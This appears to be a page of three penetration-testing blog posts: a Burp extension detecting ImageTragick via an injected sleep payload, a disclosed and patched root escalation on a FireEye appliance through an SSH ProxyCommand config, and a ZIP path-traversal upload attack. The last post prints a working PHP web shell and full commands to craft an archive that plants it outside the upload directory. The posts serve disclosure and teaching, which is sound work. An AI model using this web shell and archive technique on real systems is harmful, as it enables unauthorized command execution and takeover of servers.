Detecting ImageTragick with Burp Suite Pro

Author: dnet

After ImageTragick (CVE-2016–3714) was published, we immediately started thinking about detecting it with Burp, which we usually use for web application testing. Although collaborator would be a perfect fit, as image processing can happen out-of-band, there’s no official way to tap into that functionality from an extension.

The next best thing is timing, where we try to detect remote code execution by injecting the sleep command which delays execution for a specified amount of seconds. By measuring the time it takes to serve a response without and the with the injected content, the difference tells us whether the code actually got executed by the server.

We used rce1.jpg from the ImageTragick PoC collection and modified it to fit our needs. By calling System.nanoTime() before and after the requests and subtracting the values, the time it took for the server to respond could be measured precisely.

Since we already had a Burp extension for image-related issues, this was modified to include an active scan option that detects ImageTragick. The JPEG/PNG/GIF detection part was reused so that it could detect if any parameters contain images, and if so, it replaces each (one at a time) with the modified rce1.jpg payload. The code was released as v0.3 and can be downloaded either in source format (under MIT license) or a compiled JAR for easier usage. Below is an example of a successful detection:

issue screenshot

Header image © Tomas Castelazo, www.tomascastelazo.com / Wikimedia Commons / CC-BY-SA-3.0


How to get root access on FireEye OS

Author: pz

1. Background

A couple of months ago we had the opportunity to take a closer look at a FireEye AX 5400 malware analysis appliance. The systems of FireEye are famous for catching targeted attacks that tend to evade traditional security systems, so we were really excited to find out more about the capabilities of this system. However we couldn’t resist taking a look at the management interfaces of the system; these turned out to be at least as exciting as our initial area of interest.

2. Technical part

2.1 Escaping the shell

The FireEye AX 5400 provides management interfaces over HTTPS and SSH. After login, the SSH interface provides a special restricted command shell (similar to the consoles of ordinary network equipment) that allows administrators to configure the device but prevents them interacting with the underlying operating system. Aside from the special shell the service was just an ordinary SSH server that allowed limited use of SCP.

The SCP process could only read and write the home directories and couldn’t create directories. If the user initiated an SSH connection to a remote system, the $HOME/.ssh directory was created to store the known_hosts file. After this one could upload an SSH public key to log into the system without password, but the default shell of the account was set to the original configuration shell with limited functionality.

How could we escape this shell completely and run arbitrary commands? The answer lies in the slogin command of the SSH console, which was actually an ordinary SSH client that behaved exactly as expected. This SSH client provides configuration options for the users from the $HOME/.ssh/config file. The ProxyCommand option allows operating system command execution if the user initiates an SSH connection:

Proxy Command - Specifies the command to use to connect to the server. 
The command string extends to the end of the line, and is executed 
with the user's shell.

To obtain access to an unlimited command shell, a configuration file was created that added a new user to the shadow file of the system with the home directory of the root user (that contained the previously uploaded SSH public key), 0 UID and an unlimited default shell. The configuration file contained commands similar to the following:

Adding a new root user

The built-in „slogin” command could trigger this configuration:

Triggering the command execution
The new s2crew user now has an unlimited command shell and can log in with the previously uploaded public key:

Logging into the system

2.2 Afterlife

Having successfully demonstrating the issue, we contacted the vendor who responded instantly, acknowledged the vulnerability and notified us on the status of the fix regularly. The official fix was released on 8th July 2014 for FEOS versions older than 7.1.0.

The exploitability of the issue was limited, since attackers would have to authenticate themselves on an administrative interface that should be only exposed to dedicated network segments. Still, this vulnerability gave us a unique insight to the inner workings of the product that inspired us to continue the research of the platform.


Compressed file upload and command execution

Author: pz

In this post I would like to share some experiences of a web application hacking project. After I got access to the admin section of the web application I realized that there is a file upload function available for administrators. The application properly denied uploading dynamic scripts (eg.: .php) and it was not possible to bypass this defense. However, the upload function supported compressed file upload and provided automatic decompression also but unfortunately the upload directory did not allow to run PHP files.

One could easily assume that this setup protects from OS-level command execution via malicious file uploads but unfortunately this is not true. Since ZIP archive format supports hierarchical compression and we can also reference higher level directories we can escape from the safe upload directory by abusing the decompression feature of the target application.

To achieve remote command execution I took the following steps:

1. Create a PHP shell:

<?php 
if(isset($_REQUEST['cmd'])){
        $cmd = ($_REQUEST['cmd']);
        system($cmd);
}
?>

2. Use “file spraying” and create a compressed zip file:

root@s2crew:/tmp# for i in `seq 1 10`;do FILE=$FILE"xxA"; cp simple-backdoor.php $FILE"cmd.php";done
root@s2crew:/tmp# ls *.php
simple-backdoor.php  xxAxxAxxAcmd.php        xxAxxAxxAxxAxxAxxAcmd.php        xxAxxAxxAxxAxxAxxAxxAxxAxxAcmd.php
xxAcmd.php           xxAxxAxxAxxAcmd.php     xxAxxAxxAxxAxxAxxAxxAcmd.php     xxAxxAxxAxxAxxAxxAxxAxxAxxAxxAcmd.php
xxAxxAcmd.php        xxAxxAxxAxxAxxAcmd.php  xxAxxAxxAxxAxxAxxAxxAxxAcmd.php
root@s2crew:/tmp# zip cmd.zip xx*.php
  adding: xxAcmd.php (deflated 40%)
  adding: xxAxxAcmd.php (deflated 40%)
  adding: xxAxxAxxAcmd.php (deflated 40%)
  adding: xxAxxAxxAxxAcmd.php (deflated 40%)
  adding: xxAxxAxxAxxAxxAcmd.php (deflated 40%)
  adding: xxAxxAxxAxxAxxAxxAcmd.php (deflated 40%)
  adding: xxAxxAxxAxxAxxAxxAxxAcmd.php (deflated 40%)
  adding: xxAxxAxxAxxAxxAxxAxxAxxAcmd.php (deflated 40%)
  adding: xxAxxAxxAxxAxxAxxAxxAxxAxxAcmd.php (deflated 40%)
  adding: xxAxxAxxAxxAxxAxxAxxAxxAxxAxxAcmd.php (deflated 40%)
root@s2crew:/tmp#

3.Use a hexeditor or vi and change the “xxA” to “../”, I used vi:

:set modifiable
:%s/xxA/..\//g
:x!

Done!

Only one step remained: Upload the ZIP file and let the application decompress it! If it is succeeds and the web server has sufficient privileges to write the directories there will be a simple OS command execution shell on the system:

b1